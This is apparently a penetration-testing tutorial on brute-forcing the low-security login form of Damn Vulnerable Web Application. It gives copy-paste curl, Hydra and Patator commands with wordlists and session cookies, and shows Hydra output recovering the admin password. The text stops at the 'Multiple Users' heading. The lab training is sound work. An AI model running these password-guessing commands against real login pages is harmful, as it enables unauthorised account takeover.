DVWA Brute Force (Low Level) - HTTP GET Form [Hydra, Patator, Burp]

This post is a "how to" for the "brute force" module set to "low" level security inside of Damn Vulnerable Web Application (DVWA). There are separate posts for the medium level (time delay) and high setting (CSRF tokens). There is a related post for the login screen as it was also brute forced (HTTP POST form with CSRF tokens).

Brute Force DVWA Low Level

Once more, let's forget the credentials we used to login to DVWA with (admin:password).

Let's not try the default login for the web application.

Let's play dumb and brute force DVWA... again.


TL;DR: Quick copy/paste

1
2
3
4
5
6
7
8
9
10
11
12
13
CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php"

hydra  -L /usr/share/seclists/Usernames/top_shortlist.txt  -P /usr/share/seclists/Passwords/rockyou-40.txt \
  -e ns  -F  -u  -t 1  -w 10  -v  -V  192.168.1.44  http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area:H=Cookie\: security=low; PHPSESSID=${SESSIONID}"

patator  http_fuzz  method=GET  follow=0  accept_cookie=0  --threads=1  timeout=10 \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/rockyou-40.txt \
  header="Cookie: security=low; PHPSESSID=${SESSIONID}" \
  -x quit:fgrep='Welcome to the password protected area'

Objectives

  • The goal is to brute force an HTTP login page.
    • GET requests are made via a form.
    • The web page is in a sub folder.
  • Low
  • Medium
    • Extends on the "low" level - HTTP GET attack via a web form.
    • Adds in a static time delay (3 seconds) on failed logins.
  • High
    • Extends on the "low" level - HTTP GET attack via a web form.
    • This time uses a random time delay (between 0 and 4 seconds) instead.
    • Uses an anti Cross-Site Request Forgery (CSRF) token.
  • Impossible
    • Submits data via HTTP POST via web form
    • Accounts will lock out after 5 failed logins.
      • Time delay before becoming unlocked (15 minutes).
      • Unable to enumerate users on the system.
      • Possible "Denial of Service (DoS)" vector.
  • PHPIDS
    • Does not protect against this attack.
    • All attack methods are still the same!

Setup

  • Main target: DVWA v1.10 (Running on Windows Server 2012 Standard ENG x64 + IIS 8).
    • Target setup does not matter too much for this - Debian/Arch Linux/Windows, Apache/Nginx/IIS, PHP v5.x, or MySQL/MariaDB.
    • The main target is on the IP (192.168.1.44), port (80) and subfolder (/DVWA/), which is known ahead of time.
    • Because the target is Windows, it does not matter about case sensitive URL requests (/DVWA/ vs /dvwa/).
  • Attacker: Kali Linux v2 (+ Personal Custom Post-install Script).
    • Shell prompt will look different (due to ZSH/Oh-My-ZSH).
    • Added colour to tools output (thanks to GRC).

Both machines are running inside a Virtual Machine (VMware ESXi).


Tools

  • cURL - Information gathering (used for viewing source code & to automate generating sessions).
    • Could also use wget (wget -qO -) instead.
    • Or using Burp/Iceweasel, however, it is harder to automate them due to them being graphical, which makes doing repetitive stuff boring.
  • THC-Hydra v8.1 - A brute force tool.
  • Patator v0.5 - An alternative brute force tool.
  • Burp Proxy v16.0.1 - Debugging requests & brute force tool
    • Using FoxyProxy to switch proxy profiles in Iceweasel.
  • SecLists - General wordlists.
    • These are common, default and small wordlists.
    • Instead of using a custom built wordlist, which has been crafted for our target (e.g. generated with CeWL).
  • Failed brute force tools:
    • Medusa v2.1.1 - segmentation faults when sending a custom header and HTTP 200 response.
    • Metasploit v4.11.4-2015090201 - auxiliary/scanner/http/http_login does HTTP basic authentication, not web forms.
    • Ncrack v0.4 ALPHA - HTTP module only supports HTTP basic access authentication, not web forms.
    • Nmap v6.49 BETA5 - http-form-brute lacks required options to-do the attack (as it cannot send custom headers).

What is brute force?

For the people who are unaware of "brute force attacks", here is an overview of the most common points:

  • Brute forcing is a trial and error method of repeatedly trying out a task, sequentially changing a value each time, until a certain result is achieved.
    • So it forces its way in, and does not take "no" for an answer.
  • The values used in the attack may be predefined in a file (often called a wordlist or dictionary file - there is not a difference between terms), where only these certain values are used. Alternatively, every possible combination could be used in a given range. Example:
    • Brute force attack: AAA -> AAB -> AAC -> ... -> ZZY -> ZZZ
    • Dictionary attack: ANT -> BED -> CCC -> DOG -> EEE -> HOG
  • The values used & the order of them, all depends on how the attacker performs the attack.
  • A brute force attack will cover everything in its range; however, it will take longer than a dictionary attack based on the total amount of combinations.
  • A dictionary attack will use the pre-compiled values. However, there are values tools out there to "mangle" the wordlist in various ways, allowing for more possibilities and total combinations. An example: password -> password1999 (year at the end). password -> p@$$w0rd (1337 speak). The original value (password) is called "base word".
  • The best wordlist to use is one customized to the target. When using general wordlists, check for:
    • Leading/trailing spaces/tabs - ^ password$, ^password$, ^password $ (forgive the regular expressions!)
    • Duplicated entries (case sensitive!) - password, farm, PASSWORD, mouse, password, horse, Password
    • The ordering of the list - common_password, uncommon_password
    • If it is just base words - password, password99, password1999, p@55w0rd
    • The language - password, motdepasse, passwort, clave
  • In a brute force attack, multiple wordlists could be used. Example: one for the password, one for the username. The attacker may loop through all the passwords, before trying the next username or vice versa. Alternatively, the username and password lists may be increased at the same time.
  • An online attack refers to the attack being a network service, on a machine which is not the attacker's (aka a "remote machine"). An offline attack would be local to the attacker's machine.
  • A brute force attack speed runs at the slowest point. If it is an online attack, this is often the network connection, whereas, offline is commonly the CPU/GPU speed. Offline attacks are normally much quicker than online ones.
  • There are various ways to speed up brute force attacks, normally by increasing threads. This is how many tasks/requests are performed at once. Not using enough, means there could be additional performance gained as not all the resources are being used. However, using too many will overload causing, it to perform slower or to miss a successful attempt.

Creating a Session Cookie

To get the web form that we want to brute force (http://192.168.1.44/DVWA/vulnerabilities/brute/), we must already be logged in. This in itself is a bit of an odd thing to-do as most of the time, you would not be authenticated hence the brute forcing... Anyway, as we are going to be using a lot of command line tools, we need to create an active and valid session to interact with DVWA. Normally, you would not have to-do this. This is just for DVWA.

I'm going to be re-running these commands often, however, this is overkill. This is because it will make it easier for people who are copying/pasting or stop/starting a lot (hence their session times out) or people jumping around the page (skipping sections out). As long as the admin's password has not been changed from the default value (password), this will work (depending on your target's IP address).

1
2
3
4
5
6
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]# sed -i '/security/d' dvwa.cookie
[root:~]#

Create Session Cookie

Note, depending on the web server & its configuration, it may respond slightly differently (in the screenshot: 192.168.1.11 is Nginx,192.168.1.22 is Apache & 192.168.1.44 is IIS). This is a possible method to fingerprint an IIS web server.

The first line grabs the "Anti Cross-Site Request Forgery (CSRF)" token (as explained when brute forcing the main login page), and extracts the user_token field) which will be a unique value each time and paired to the session ID. We then send a request that would be the same as filling in the form with the user credentials (again, see the main login page being brute forced to see how this was constructed), using the same cookie which was set from our first request. Lastly we remove the security level from the cookie value. As this would be a "static" value, and ideally we want it to be "dynamic" (so we can change the level based in our request).


Information Gathering

If this was a "real world" scenario, we would clone the target's production setup as best we could (e.g. find if it is using "off the shelf" software, web server information, what versions etc.) and clone it into a test lab. This means we could fully control the web application, allowing us to understand it better. For example, we could create a user on the system and watch how the program responses with a successful login, rather than just guessing and hoping.

However, we will take a slightly different approach as this shows why doing information gathering as you go along is important as well using different techniques and methods.

Form HTML Code

The first thing we want to-do is to see what we are going up against. Same idea as before; let's see the returned HTML code. This is done by using sed to extract between the HTML tags we want (known ahead of time).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root:~]# curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<div class="body_padded/,/<\/div/p'
< div class="body_padded">
  <h1>Vulnerability: Brute Force</h1>

  <div class="vulnerable_code_area">
    <h2>Login</h2>

    <form action="#" method="GET">
      Username:<br />
      <input type="text" name="username"><br />
      Password:<br />
      <input type="password" AUTOCOMPLETE="off" name="password"><br />
      <br />
      <input type="submit" value="Login" name="Login">

    </form>

  </div>
        <div class="body_padded"><div class="message">You have logged in as 'admin'</div></div>

      </div>
[root:~]#

Form HTML Code

  • sed -n '/<div class="body_padded/,/<\/div/p' extracts everything between <div class="body_padded and its matching </div. I knew to use these values as I had looked at the complete page output beforehand, the HTML output is far too long, hence why sed is used to snip out the necessary lines!
  • sed -n '/<form/,/<\/form/p' is then done as this is everything which would be sent in the request when trying to login.

Generating a Baseline

Now we are going to create a "baseline" which is a request before we try to login (before.txt), and then make another request made afterwards using an incorrect login attempt (after.txt). The last step would be to compare the differences between them. This way we can see how the web app responds and start to get a feel of how it works.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root:~]# curl -s -b 'security=low' -b dvwa.cookie -i 'http://192.168.1.44/DVWA/vulnerabilities/brute/' > before.txt
[root:~]# curl -s -b 'security=low' -b dvwa.cookie -i 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' > after.txt
[root:~]#
[root:~]# diff before.txt after.txt
9c9
< Content-Length: 4980
---
> Content-Length: 4945
81c81
<
---
>     <pre><br />Username and/or password incorrect.</pre>
93c93
<         <div class="body_padded"><div class="message">You have logged in as 'admin'</div></div>
---
>
[root:~]#

Note, both requests were made within a second of each other, because of this there the time and date stamp are the same!

Well this is not exactly what we were expecting! One request says the login is incorrect (after.txt), the other (before.txt) says we are logged in - yet we did not attempt to! A possible reason for this could because of the cURL command before, logging us into the core DVWA rather than us using the brute force form. We can confirm our suspicions by making another baseline request.

"Bash fu" alert, we can repeat the last cURL command (!curl), and replace a value (:gs/after/again/). People using ZSH shells will also find it will expand the command before executing it. Another tip, by using before{,_again}.txt our shell will see it as bash.txt before.txt before_again.txt which saves us typing a bit!

1
2
3
4
5
6
7
8
9
10
11
12
13
[root:~]# curl -s -b 'security=low' -b dvwa.cookie -i 'http://192.168.1.44/DVWA/vulnerabilities/brute/' > before.txt
[root:~]# !curl:gs/before/before_again/   #curl -s -b 'security=low' -b dvwa.cookie -i 'http://192.168.1.44/DVWA/vulnerabilities/brute/' > before_again.txt
[root:~]#
[root:~]# diff before{,_again}.txt
9c9
< Content-Length: 4980
---
> Content-Length: 4893
93c93
<         <div class="body_padded"><div class="message">You have logged in as 'admin'</div></div>
---
>
[root:~]#

Generating a Baseline

Just as we thought, the You have logged in as 'admin' message is the core DVWA response rather than the brute force module so we need to ignore this for the brute force module.


Test lab vs Production target

TL;DR: In a test lab, you will have full administrative access. A production target, you may not even have an account to the system.

Even though DVWA is a "test lab", we are treating it as a production target system. Because it is a "black box test", we have not been given credentials to login. The web application does not have a "sign up/register" page so we cannot create a user for ourselves. We could try phish a user to get their login, however, this starts to go out of scope, as it is not really brute forcing.

If DVWA was in a test lab (so we fully control the target, allowing us to created a user ourselves, meaning we know the values to use), or we knew of a valid account to login with on the production server (e.g. default user, demo account, or a given one in the scope of the pentest), we could find a "marker" to signal what happens when you log in (such as output on the page being redirected to a different page, the page size being different, additional headers etc.).

For demonstration purposes, I will show this. First cURL command will remove the unwanted text. The next request is a "failed" log in (user:pass), the last is successful (admin:password). By comparing the responses, we can see the page size is different (failed: 4945, success: 5007), as well as the HTML output (failed: Username and/or password incorrect., success: Welcome to the password protected area).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root:~]# curl -s -b 'security=low' -b dvwa.cookie -i 'http://192.168.1.44/DVWA/vulnerabilities/brute/' > /dev/null
[root:~]#
[root:~]# curl -s -b 'security=low' -b dvwa.cookie -i 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' > failed.txt
[root:~]# curl -s -b 'security=low' -b dvwa.cookie -i 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=admin&password=password&Login=Login' > success.txt
[root:~]#
[root:~]# diff failed.txt success.txt
9c9
< Content-Length: 4945
---
> Content-Length: 5007
81c81
<     <pre><br />Username and/or password incorrect.</pre>
---
>     <p>Welcome to the password protected area admin</p><img src="http://192.168.1.44/DVWA/hackable/users/admin.jpg" />
[root:~]#

Test lab vs Production target


Blacklisting vs Whitelisting

TL;DR: Blacklisting, you are ignoring all results that do not contain phrase. Whitelisting, you are looking for a specific value to be successful.

We need to identify a key point to "mark" how the web application will respond when a login is incorrect (aka blackisting) or if it was successful (aka whitelisting).

Blacklisting often contains more false positives, where it believes it has successfully logged in, when it really failed. This is because you have to rule out "every" possible combination other than a successful login. Depending on the web application, it may respond differently for any number of reasons at any stage. If the marker does not appear on the page, it will believe it logged in correctly. An example: if the marker was set to incorrect password, or if the web app responded with incorrect username/password because it is not an exact match, the program will believe it is a correct login. If the web application responded with incorrect CSRF token, the program would believe it was a successful login, even though it was not. Using incorrect would be better here as it appears in both statements. However, if the marker is too general, this may cause issues. The marker needs to be as unique as possible.

The advantage of using blacklisting is that it is easier to discover a failed login attempt rather than a successful one, so it is easier to begin with. Another benefit is, you get to see how the web application responds differently over time and all responses. This means it is easier to debug issues more quickly.

For whitelisting, they give a more accurate way of knowing if you have logged in correctly, rather than having to rule out every response which is incorrect. The down side to it is if, during the request the page starts to respond differently, we might not be aware, and will just blindly keep attacking, which might be a waste of time. An example is, if an API key has reached its maximum amount of requests for a given period of time.

The "best" way would be to use a mixture of them; ignore all pages that respond in a certain way, print pages which do not match any known response, and quit if a certain value is found (Hydra does not support this, but Patator supports various operators and condition requirements).

Anyway... Getting back to DVWA brute forcing, we could risk doing a whitelist attack and make an educated guess at the response (such as: welcome, logged in, successful, hello, thank you etc.), as we do not know what a correct login looks like (because we are ignoring the section above). However, this means we might have to wait as we make multiple complete attempts and also hope a user's password is in our wordlist. So rather than guessing, let's use what we know, (and understand the attack might not work due to an unknown page response, and having to repeat it).

This means we can use either the HTML output of Username and/or password incorrect., or the page length being 4945 as markers to ignore. As the HTML is more of a unique marker, we will start by using that (sometimes web applications put various statics in the response, such as page generation time, or a full data stamp which may cause the page length to be different each request - comparing multiple reponses could rule this out). This means any pages which do contain it as incorrect. Therefore any pages which do not contain the phrase, will be seen as "successful" (hopefully this is correct and the web app does not start to behave differently). If it does, we will need ether to also include the additional value or to re-think the marker completely.


Usernames & Wordlists

Normally, people are after the "main" user account on the system (often called admin, root, system), as this is the account that normally has most access over the system. Often this has user id "1" as it is the "first" user account on the system. Depending on the web application there might be "group" control, allowing multiple users to share certain values. If this is the case, there is often an "administrative" group control which is desirable to attackers, which will be a good alterative if the main account is inaccessible.

So during our attacks, we will do two commands. One for a "single user", where we try for the main account (in DVWA case, admin), and then another command to attack multiple users. DVWA by default comes with a total of five accounts. We want to target them all!

We have crafted a username wordlist ourselves. How do we know what values? Depends on the web application! There are various ways to enumerate users on the system (Are they made public at all? Are we able to exact anything from "Forgotten user password"? Can we map "User IDs" to usernames? Email addresses? Can we just "guest"?). However, in this case, for DVWA:

  • There is not a list of public usernames on the web applications.
  • There is not a "sign up" or "forgotten password" function.
  • Being an end user - we are able to map User IDs to first/last names (not usernames) by a core function in the web application using the "SQL injection module".
    • Using this, we could start to build up a custom username wordlist.
    • Example: user id: 2, First name: Gordon, Surname: Brown.
    • This would be all the information need to figure out his uname is: gordonb (<surname><first letter of first name>).
  • Web application is free & open source. Looking at the source code, there are five default accounts, hardcoded into the setup (and passwords in plain text).
  • Some are usernames hinted at in the "help page".
  • There is also a SQL injection in the page (when on low security level):
    • Able to enumerate the whole user database (get a list of usernames).
    • Extract the hash value of the passwords (allowing for offline brute force attack, which is MUCH quicker than online brute force).
    • Replace the hashes with known values.
    • ...more about this later.

A wordlist (sometimes referred to as a dictionary file) is just a plain text file, which contains possible values to try separated out by a common perimeter (often a new line). The file extension does not matter for the text file (often they are .lst, .dic, .txt or missing completely)!

We are going to cycle through the usernames before trying the next password, allowing us to focus on the password. This is an in-built feature in Hydra (-u), and Patator supports this based on the ID value of the wordlist. It will not matter if there is a single user in the attack, only when trying multiple usernames. The reason why this could speed up an attack is, (un)fortunately people (still) use common passwords. Different users may have the same password as they do not have to be unique (whereas usernames do). e.g. this means every user who has password as their password, will be discovered very close together.


Threads & Timeouts

TL;DR: Depends on your network connection & target machine. There is not often a need to alter it from default values (unless trying to debug)

Brute forcing is slow. The speed will be because of the slowest point in the system, and there are various places where it will slow down.

  • System resources
    • Applies to both for the attacker and target machine
    • Researched CPU limit? Maxed out on RAM? Hard drive input/output rate?
    • Network speed (both up/down stream of both parties)
  • What is the target?
    • What is the service? (HTTP? SSH? FTP?)
    • What is the application? (Open source? Custom made?)
    • Does it use a database? Is it local to the target? How many requests does the application make to the database?
    • What functions does the application perform? (E.g. calculating password hashes. Certain ones can be more demanding, therefore, increasing the work load).
    • Any other users, using the target at the same time?
    • Port exhaustion? Can the target handle all those requests?

...and all of this is before any brute force protection is in place (e.g. firewalls, account lockouts etc.)!

Because the amount of requests is username * password, the total requests can quickly grow, therefore taking much longer to complete. This is a reason why information gathering & profiling is useful, to know the exact username(s) to target (rather than just guessing). Thereforce using custom built wordlists should give a higher success rate than using a general one (e.g. the chance of a target's password being in an English 65GB wordlist is low if the target does not speak English/have an English keyboard).

Due to the amount of time it may possibly take, there is an urge to tweak the brute force method (e.g. increase the thread count, lower the wait time). However, there is not a fixed "magic number" (it is more of an "art", than a "science"). Altering these values too much, may cause more issues in the long run.

Example: putting the thread count "too high", could cause an extreme amount of requests to a web server. An issue could be the attacker is able to product more network traffic than the target OS/application can handle. Another thing could be, for each request the OS sets aside a certain amount of system resources and soon the target system may run out of memory. It all depends on the setup, the target, and, its configuration. The more requests sent to the target, the harder it has to work, therefore, the response time will start to be slower (so the wait time/timeout values would also need to be increased).

If everything is working "correctly" lowering the wait time does not often archive anything. Example: if the timeout is set to 10 seconds, but it takes less than 1 second to respond, having it at 5 seconds or even 3 seconds will not make any difference. On one hand, having the value too low could mean valid requests are ignored. However, if there starts to be an increase in requests requests taking a longer period of time to response back, for whatever reason, you may be waiting unnecessary (this could signal there is another issue/protection in place).

Another thing to keep in mind, depending on the tool used, it may not display if a request "timed out" or even check periodically to see if the service is still active. Meaning the part of the attack could be pointless.

The last point is, the system may respond differently depending "how it pushed" and "how much it was pushed".

Instead, what might be a better methodology, is having the wordlist sorted in a certain order. This may help speed up the attack (having the more common values at the start). There are various ways to create a custom targeted wordlist, but this going offtopic. Just bare in mind, you may not have to go through the complete wordlist, there is a 50% chance it will be in the first half ;-).

It might also mean taking multiple runs for it to be successful, one at once (serial rather than parallel). E.g. one wordlist with default credentials, another with commonly used passwords, and another with just a baseline wordlist then another try with "mangled rule" applied to the prior1 wordlist. So each time the size of the wordlist would grow, taking longer, but there will be less chance of missing the "low hanging fruit". I believe it is "better" to make lots of smaller attacks rather than being lazy and making one big one.

During the debugging stage, I used a single thread (so it is easier to follow the request in a proxy/watching web logs), with a larger timeout value (as I could then tweak the values in Burp's intercept screen), and added in a delay after the thread finished (so I could check all the output). For the "final" attack, I was on a LAN connection, rather than WAN/Internet, therefore, the speeds would be quicker. Because the response times were so low, the slowest point normally was not the network connection (therefore increasing the threads would not help a great deal in this case). See the benchmark results!

Getting the attack to use the maximum performance first time is rare =).


Hydra

Hydra Documentation

First tool we are going to use is THC-Hydra (more commonly known as just Hydra). This is probably the "most well-known" tool (as it has been around since August 2000 with the public release of v0.3). Since Hydra has been around for so long, it supports a very wide range of modules/attack methods in any tool, and it is still getting updates!

Here are snippets from the documentation (readme.txt, help screens: hydra -h & hydra -U http-post-form, & man page: man hydra).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -q        do not print messages about connection errors
  -U        service module usage details
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
       % export HYDRA_PROXY_HTTP=http://proxy:8080

...SNIP...

Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]

...SNIP...

Third is the string that it checks for an *invalid* login (by default)
 Invalid condition login check can be preceded by "F=", successful condition
 login check must be preceded by "S=".
 This is where most people get it wrong. You have to check the webapp what a
 failed string looks like and put it in this parameter!
 "/login.php:user=^USER^&pass=^PASS^:incorrect"

...SNIP...

Note that if you are going to put colons (:) in your headers you should escape them with a backslash (\).

Debugging Hydra with Burp Proxy

We could use wireshark or tcpdump to monitor what is sent to and from Hydra, as well as use the in-built "debug" flag (-d). However, the issue with all of these is there is an awful lot of data put on the screen, which makes it harder to understand what is going on.

Incomes the use of a "proxy". Rather than it being used in an attempt to "hide your IP" (by using another machine fisrt in order to connect to the target, instead of going directt), we can use it to inspect the traffic. Using Burp Proxy Suite, we can monitor what is being sent to and from our target. This way we can check to see if Hydra is acting in our desired way and reacts correctly when there is a successful login. By using Burp, we are able to quickly filter, sort and compare all of the requests. It is also worth noting that Hydra does come with a verbose option (-v) to display more information than standard, but not as much as debug!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php" >/dev/null
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]# sed -i '/security/d' dvwa.cookie
[root:~]#
[root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
[root:~]#
[root:~]# hydra -l admin -p password -e ns -F -t 1 -w 5 -W 1 -v -V 192.168.1.44 http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=low; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-22 21:56:20
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "admin" - 1 of 3 [child 0]
[80][http-get-form] host: 192.168.1.44   login: admin   password: admin
[STATUS] attack finished for 192.168.1.44 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-22 21:56:22
[root:~]#

Debugging Hydra with Burp Proxy

Let's break down the lines:

  • rm -f hydra.restore; - when you break from Hydra before the brute force attack is complete, it will automatically create a session file, allowing you to restore. We do not want that now.
  • export HYDRA_PROXY_HTTP=http://127.0.0.1:8080 - this is a bash variable that instructs Hydra to use a proxy.
  • hydra - the main program itself
  • -l admin - a single static username, admin.
  • -p password - a single static username, password.
  • -e ns - try a "null" password for the user & "same" username as password
  • -F - quit after logging in successfully
  • -t 1 - single thread
  • -w 5 - timeout value of 5 seconds
  • -W 1 - wait 1 second before going on to the next thread
  • -v - enable verbose
  • -V - show login attempts (will print out username and password combinations)
  • 192.168.1.44 - the target IP
  • http-get-form - the module to use for the method of the attack
  • "/DVWA/vulnerabilities/brute/ - the path to the web form to target
  • :username=^USER^&password=^PASS^&Login=Login - how to use the wordlists in the request.
  • :F=Username and/or password incorrect. - Failed logins will contain the following string (aka blacklisting)
    • If we wanted to use the page length instead: :F=Content-Length\: 4945
  • :H=Cookie\: security=low; PHPSESSID=${SESSIONID}" - the cookie information to send.

Becuase we are debugging, the thread count is set to 1, using a larger timeout value as well as to wait after each thread finishes. This is because, when there are multiple requests being made without any delay, it makes it harder managed and to track Hydra's progress inside of Burp.

Note, if we are going to use Burp, make sure "Invisible Proxy Mode" is enabled (see below)!


Burp's Invisible Proxy Mode

TL;DR: Enable Burp's "Invisible Proxy Mode" when using Hydra.

<rambles>

  • I noticed when I made the first request, Burp did not detect any GET parameters in the URL. They were missing (e.g. ?username=...).
  • Checking the web logs on the target, I saw that the parameters were definitely not making it to the target's web server.
  • As I could see the combinations attempts (-V), Hydra believes that it was sending out the correct combinations. So the next option was using the debug command, -d.

Missing Parameters

  • After sifting through the debug data, Hydra itself was reporting that it successfully sent out the URL with the GET parameters. This meant there was an issue between Hydra and the proxy/Burp.
  • Disabling the proxy usage, and switching to wireshark to monitor the traffic, this time, the traffic appeared to be correct. This was confirmed by the web server logs!

Wireshark

  • Re-enabling the proxy, but this time switching to OWASP Zed Attack Proxy (instead of Burp) was also working.
  • After contact Burp support, they suggested to look at the "alert tab" and report back anything displayed there. This contained a key bit of information, which led to the fix. Oops!

alert tab

  • Now, I changed the mode of the proxy type to be "Invisible". See here for more information about Invisible Proxying

Invisible mode

  • The result is successful! Both Burp and the web logs now show the valid GET parameters!

Burp Hydra Successful Attack

Please note, S=INCORRECT_VALUE was used, rather than F=Username and/or password incorrect. as I wanted Hydra to guarantee not to find a valid login. If F=... was used, because the page would not contain the value (due to Invisible Proxy Mode not being enabled), Hydra assumed it got it right, on the first attempt.

</rambles>

Summary:

There are three solutions for this:

  • Do not use a proxy with Hydra (unset HYDRA_PROXY_HTTP).
  • Use a different proxy (OWASP ZAP works out of the box).
  • Enable "invisible proxy mode" when using in Burp as a proxy.

So now it is time to start the attack.


Hydra Attack Command

The top code snippet, will brute force a single user, the admin user and then stop the attack when the user is found (-F). It will also show all combination attempts (-V) as well as blacklisting a certain phrase (a successful login will NOT contain this value).

The bottom one will brute force all five users (which are thereby default in DVWA), but will take much longer (as there are many more combinations to try). A different wordlist is used (both for usernames and passwords) and higher threads & timeout values. It will also not display combination attempts (missing -V). Rather than looking for a page that does not include a certain value, this time look for a certain phrase once we are logged in (whitelisting). More about blacklisting vs whitelisting at the end.

Single User - admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[root:~]# unset HYDRA_PROXY_HTTP; rm -f hydra.restore
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php" >/dev/null
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]#
[root:~]# time  hydra  -l admin  -P /usr/share/seclists/Passwords/rockyou.txt \
  -e ns  -F  -u  -t 5  -w 15  -v  -V  192.168.1.44  http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=low; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-22 22:19:36
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 5 tasks per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~44826 tries per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "admin" - 1 of 14344400 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "" - 2 of 14344400 [child 1]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "123456" - 3 of 14344400 [child 2]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "12345" - 4 of 14344400 [child 3]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "123456789" - 5 of 14344400 [child 4]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "password" - 6 of 14344400 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "iloveyou" - 7 of 14344400 [child 1]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "princess" - 8 of 14344400 [child 2]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "1234567" - 9 of 14344400 [child 3]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "rockyou" - 10 of 14344400 [child 4]
[80][http-get-form] host: 192.168.1.44   login: admin   password: password
[STATUS] attack finished for 192.168.1.44 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-22 22:19:38
hydra -l admin -P /usr/share/seclists/Passwords/rockyou.txt -e ns -F -u -t 5   1.44s user 0.29s system 69% cpu 2.482 total
[root:~]#

Hydra Attack Command


Multiple Users

1
2
3
4
5
6
7
8
9
